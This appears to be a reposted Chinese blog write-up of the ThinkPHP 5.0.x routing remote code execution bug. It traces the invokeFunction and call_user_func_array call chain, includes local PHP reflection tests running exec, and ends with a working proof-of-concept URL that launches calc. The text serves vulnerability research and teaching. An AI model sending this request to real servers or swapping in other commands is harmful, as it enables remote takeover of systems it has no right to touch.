ThinkPHP5.0.0~5.0.23路由控制不严谨导致的RCE

本次我们继续以漏洞挖掘者的视角,来分析thinkphp的RCE

敏感函数发现

在调用入口函数:/ThinkPHP_full_v5.0.22/public/index.php 时
发现了框架底层调用了\thinkphp\library\think\App.php的app类中的incokeMethod方法

 注意传递的参数,ReflectionMethod接受的参数。如果是数组的形式, 那么参数1是这个类的object,参数2是object的方法。如此就可以调用到index类的index方法

 下面是整个调用链

那么现在思考incokeMethod方法接受的参数是否为为一个可控变量呢,如果可控是不是就意味着我们可以执行任意类中的任意funtion了。这里我们还不能直接调用system,exec这些函数,因为它们不属于任何类,它是一个全局函数。尝试找一下类中的敏感函数

敏感函数调用

恰好的是,就在app类中存在一个敏感的函数invokeFunction

下面给出一个ReflectionFunction的反射示例

function sum($a, $b) {return $a + $b;
}class Example {public static function bindParams($reflect, $vars) {$args = [];foreach ($reflect->getParameters() as $param) {$name = $param->getName();if (isset($vars[$name])) {$args[] = $vars[$name];} else {$args[] = $param->getDefaultValue();}}return $args;}public static function executeFunction($function, $vars) {$reflect = new \ReflectionFunction($function);$args = self::bindParams($reflect, $vars);// 记录执行信息self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');return $reflect->invokeArgs($args);}
}$vars = array('a' => 5,'b' => 10,
);$result = Example::executeFunction('sum', $vars);
echo $result; // 输出 15

在这个示例中ReflectionFunction函数没有牵扯到类,sum是一个全局函数。如此我们现在可以尝试反射条用system函数了,

下面是经过我测试的反射调用exec,它可以弹出计算机

<?php
$reflection = new ReflectionFunction('exec');
echo $reflection->getName() . "\n";  // 输出函数名 
$params = $reflection->getParameters();
foreach ($params as $param) {echo "-----"."参数:" . $param->getName() . "\n";
}$args = [calc];
$result = $reflection->invokeArgs($args);
//echo "结果:" . $result . "\n";
?>

按照这个思路,我就在invokeFunction中让参数$function='exec' 让参数$vars = [calc],就可以执行命令了,不过在此之前看看它的bindParams逻辑

敏感函数绕过

 跟进getParameters 继续看调用逻辑

 看到这里原有的设定就遇到了问题,因为这个参数绑定会遍历函数的参数名,像我们之前想调用的exec函数,其函数原型为

exec(string $command, array &$output = null, int &$return_var = null): string|false

 $reflect->getParameters() as $param 一定会依次得到command  - output -  return_var
如还想调用exec,那参数vars 必须写上如下形式

$reflection = new ReflectionFunction('exec');
$vars = [calc,null,null];
$result = $reflection->invokeArgs($vars);

以上本地测试还行,php正确接解析了null 然而在web中我们传递的参数大多为字符串,除非后端单独处理,否则我们想传递一个null类型的参数,几乎是不可能的,只能换其他的调用函数了,要执行系统命令,还要避开参数null这样的类型。system函数就不行有null类型

有没有我们需要的这严的函数呢 !还真有一个,它就是call_user_func_array函数

它的原型为

call_user_func_array(callable $callback, array $param_arr): mixed

 再次本地测试

<?php$reflection = new ReflectionFunction('call_user_func_array');
$vars = [exec,[calc]];
var_dump($vars);
$result = $reflection->invokeArgs($vars);?>

如此我用参数绑定的机制把exec 绑定在参数callback 把[calc]绑定在param_arr,通过$reflection->invokeArgs我们成功调用了calc (反射类似调用了call_user_func_array('exe',[calc])),null的问题得到完美解决。

回顾一下rce成立的条件
invokeMethod调用invokeFunction 
invokeFunction调用call_user_func_array
call_user_func_array调用exec

代码大致长这样样子

invokeMethod([对象,方法],参数1)
--------这里的对象对象要app类对象方法是invokeFunction 
-------参数1为一个数组[call_user_func_array,参数2]
这样就可调用call_user_func_array,我们将参数设置为[exec,[calc]] 就可以执行任意命令了。

接下来把重点放到参数可控上,如果我们使参数可控那么RCE漏洞就成立了 

参数可控分析

首先看调用了invokeMethod的地方

该段代码位于app类的module方法中,

看一看call是怎么来的

$call是一个数组符合我们的预期,我们要把这个instance换成app对象,action换成invokeFunction。

继续向上分析 instance怎么得来的

 继续分析controller怎么得到的

 这个result参数参数得来的,那就让result为一个数组  让其$result[1]=app类路径。

 如此参数$call的instance就解决了,接下来看action

 全局搜索action_suffix发现这个值为空,不影响action,继续分析actionName

actionName的是result数组索引2获取的,那好在传递module函数参数时,让result为一个数组  让其$result[2]=invokeFunction

如此$call的问题全部解决,看看剩下的$vars

这里放上找vars是空的啊,不要着急。既然vars向上找没有找到,那么在想向下仔细找找,是不是在调用的过程中被赋值。

向下走到invokeMethod方法中

bindParams对vars进行了处理 跟进去看看

全局搜索url_param_type,发现它为0 ,也就说我们会走到param方法,执行完毕后更新vars值

之后返回给变量$args。

进入param中

request对象中的param成员,存储的是我们get参数的内容param可以写成我们构造的[call_user_func_array,参数2],它之后被返回了

在input方法中他会过滤一些值

之后返回data这个数组

 

 好!现在根据我们的猜想get传参function=call_user_func_array&vars[0]=exec&vars[1][]=calc
就可以上让request对象的param成员存储[call_user_func_array,参数2] 参数2是[exec,[calc]]

由此在调用invokeFunction之前$args就准备好了。 $vars的问题解决了

现在目光继续放在module 这个函数,根据之前分析的让result为一个数组  让其$result[1]=app类路径。让其$result[2]=invokeFunction

继续向上分析,exec会根据dispatch的type不同而调用module函数

传参是dispatch的module重点关注它

一样的思路,在app类的run方法中最后会执行exec方法

执行exec方法之前,它会初始dispatch 这个对象

 我们跟进routecheck方法,重点关注成员module

result为我们准备返回值,request->path将url中?s= 之后的内容取了出来

这里注解提示了我们路由访问的规则,可以参考下,

这里depr="/"后面的controller_auto_search 是false

进入parseurl分析,在parseurl 最后的返回中出现了module成员 这正是我们想要的

重点分析route是怎么出来的

其实这里我们就可以根据手册说明

尝试把controller修改为我们的app类地址,action设置为 invokeFunction,module可以设置成index,如果没有达到预期可以在调试

那么app的类地址是什么呢, 如下写成think\app即可

下面就是调试版

跟如parseurlpath方法 

 这里的返回值是准备好的以“/”切分的数组,之后分别赋给module controller action

如此参数的确可控,RCE漏洞所有条件成立。poc打出,成弹出计算机。

本次漏洞研究结束

赋值poc

127.0.0.1/ThinkPHP_full_v5.0.22/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=exec&vars[1][]=calc

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/642113.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

shopee最新选品:Shopee平台上的最新选品策略和方法

在Shopee平台上进行选品是卖家们必须经历的重要步骤。通过精心选择和定位产品&#xff0c;卖家可以提高产品的市场接受度和销售业绩。然而&#xff0c;要在竞争激烈的电商市场中脱颖而出&#xff0c;并不是一件容易的事情。本文将介绍一些在Shopee平台上进行最新选品时可以采用…

打造专业级ChatGPT风格聊天界面:SpringBoot与Vue实现动态打字机效果,附完整前后端源码

大家好&#xff0c;今天用SpringBoot、vue写了一个仿ChatGPT官网聊天的打字机效果。 所有代码地址:gitee代码地址 &#xff0c;包含前端和后端&#xff0c;可以直接运行 使用本技术实现的项目&#xff1a;aicnn.cn&#xff0c;欢迎大家体验 如果文章知识点有错误的地方&#xf…

【源码】医院绩效管理系统,针对医、护、技、药、管不同岗位,可设置不同的核算方法、核算参数

医院绩效管理系统源码 医院绩效管理系统以国家医院绩效管理考核政策法规为依据&#xff0c;结合医院管理实践&#xff0c;以经济管理指标为核心&#xff0c;医疗质量、安全、效率、效益管理为重点&#xff0c;特别强调持续改进&#xff08;PDCA&#xff09;管理理念。实现医院绩…

《WebKit 技术内幕》学习之九(1): JavaScript引擎

1 概述 1.1 JavaScript语言 说起JavaScript语言&#xff0c;又要讲一个典型的从弱小到壮大的奋斗史。起初&#xff0c;它只是一个非常不起眼的语言&#xff0c;用来处理非常小众的问题。所以&#xff0c;从设计之初&#xff0c;它的目标就是解决一些脚本语言的问题&#xff…

[Android] Android架构体系(2)

文章目录 Bionic精简对系统调用的支持:不支持 System V IPC:有限的 Pthread 功能:有限支持C:不再支持本地化和/或宽字符:Bionic新增的特性系统属性硬编码写死的UID/GID内置了DNS解析硬编码写死的服务和协议 硬件抽象层Linux内核匿名共享内存(ASHMem)BinderLoggerION 内存管理内…

ZXing开源库生成二维码

引言 二维码&#xff08;QR Code&#xff09;作为一种快速、高容量、高密度的矩阵条码&#xff0c;已经在各行各业得到广泛应用。ZXing&#xff08;Zebra Crossing&#xff09;是一款由Google开源的Java二维码生成和解析库&#xff0c;提供了丰富的功能和易于使用的API。本篇博…

西瓜书学习笔记——Boosting(公式推导+举例应用)

文章目录 引言AdaBoost算法AdaBoost算法正确性说明AdaBoost算法如何解决权重更新问题&#xff1f;AdaBoost算法如何解决调整下一轮基学习器样本分布问题&#xff1f;AdaBoost算法总结实验分析 引言 Boosting是一种集成学习方法&#xff0c;旨在通过整合多个弱学习器来构建一个…

架构篇08:架构设计三原则

文章目录 合适原则简单原则演化原则小结 成为架构师是每个程序员的梦想&#xff0c;但并不意味着把编程做好就能够自然而然地成为一个架构师&#xff0c;优秀程序员和架构师之间还有一个明显的鸿沟需要跨越&#xff0c;这个鸿沟就是“不确定性”。 对于编程来说&#xff0c;本…

【Docker】在centos中安装nginx

&#x1f389;&#x1f389;欢迎来到我的CSDN主页&#xff01;&#x1f389;&#x1f389; &#x1f3c5;我是平顶山大师&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; &#x1f31f;推荐给大家我的博客专栏《【Docker】安装nginx》。&#x1f3af;&#…

7+细胞焦亡+ceRNA+实验验证,如何脱离套路求创新?

导语 今天给同学们分享一篇生信文章“Dissection of pyroptosis-related prognostic signature and CASP6-mediated regulation in pancreatic adenocarcinoma: new sights to clinical decision-making”&#xff0c;这篇文章发表在Apoptosis期刊上&#xff0c;影响因子为7.2。…

【JAVA】我和我的第一个“对象”相遇

&#x1f308;个人主页: Aileen_0v0 &#x1f525;热门专栏: 华为鸿蒙系统学习|计算机网络|数据结构与算法 ​&#x1f4ab;个人格言:“没有罗马,那就自己创造罗马~” #mermaid-svg-zAjv1fTLGQmnqncy {font-family:"trebuchet ms",verdana,arial,sans-serif;font-siz…

安泰ATA-2082高压放大器如何驱动超声探头进行无损检测

无损检测技术是一种在不破坏或影响被检测物体性能的前提下&#xff0c;通过物理或化学方法对其内部或表面的缺陷进行检测的技术。在无损检测领域&#xff0c;超声检测是一种广泛应用的方法&#xff0c;而ATA-2082高压放大器则是实现高效、精确超声检测的关键设备之一。本期内容…

HTTPS基本概念

HTTP 与 HTTPS 有哪些区别&#xff1f; HTTP 是超文本传输协议&#xff0c;信息是明文传输&#xff0c;存在安全风险的问题。HTTPS 则解决 HTTP 不安全的缺陷&#xff0c;在 TCP 和 HTTP 网络层之间加入了 SSL/TLS 安全协议&#xff0c;使得报文能够加密传输。HTTP 连接建立相…

CVE-2024-0738 Mldong ExpressionEngine RCE漏洞分析

漏洞描述 A vulnerability, which was classified as critical, has been found in ???? mldong 1.0. This issue affects the function ExpressionEngine of the file com/mldong/modules/wf/engine/model/DecisionModel.java. The manipulation leads to code injection…

Vue+Element(el-switch的使用)+springboot

目录 1、编写模板 2、发送请求 3、后端返数据 1.Controller类 2.interface接口&#xff08;Service层接口&#xff09; 3.Service&#xff08;接口实现&#xff09; 4.interface接口&#xff08;Mapper层接口&#xff09; 5.xml 6.效果 4、el-switch属性 1、编写模板 …

数字图像处理(实践篇)二十六 使用cvlib进行人脸检测、性别检测和目标检测

目录 1 安装cvlib 2 涉及的函数 3 实践 4 其他 cvlib一个简单,高级,易于使用的开源Python计算机视觉库。 1 安装cvlib # 安装依赖pip install opencv-python tensorflow# 安装cvlibpip install cvlib</

iLO 安装中文固件包

前言 安装中文版本的安装包&#xff0c;需要把对应的ilo安装到固定的版本上&#xff0c;ilo的版本是2.70。必须是这个版本&#xff1b; 如果不是这个版本就需要刷到对应的ilo版本 下载对应的固件包。 到这个界面选择文件&#xff0c;然后点击上载。 以上就是刷系统包的步骤。 …

MATLAB 和 Octave 之间的区别

MATLAB 和 Octave 之间的区别 MATLAB 和 Octave 有一些区别&#xff0c;但大多数都是相同的。你可以说 Octave 是 MATLAB 的免费版本&#xff0c;语法几乎与 MATLAB 相同。但是 MATLAB 比 Octave 具有更多功能&#xff0c;就像具有 Simulink 一样&#xff0c;后者用于开发和分…

前端基于XLSX实现数据导出到Excel表格,以及提示“文件已经被损坏,无法打开”的解决方法

文章目录 一、vue实现导出excel1、前端实现1、安装xlsx依赖2、引入3、方法4、使用4.1、将一个二维数组转成sheet4.2、将一个对象数组转成sheet4.3、合并单元格4.4、一次导出多个sheet 5、支持的文件格式 2、后端实现 二、导出文件损坏1、前端请求导出接口&#xff0c;增加返回类…

宝塔FTP文件传输服务结合cpolar内网穿透实现远程连接本地服务

⛳️ 推荐 前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。 文章目录 ⛳️ 推荐1. Linux安装Cpolar2. 创建FTP公网地址3. 宝塔FTP服务设置4. FTP服务远程连接小结 5. 固定FTP公网地址6. 固…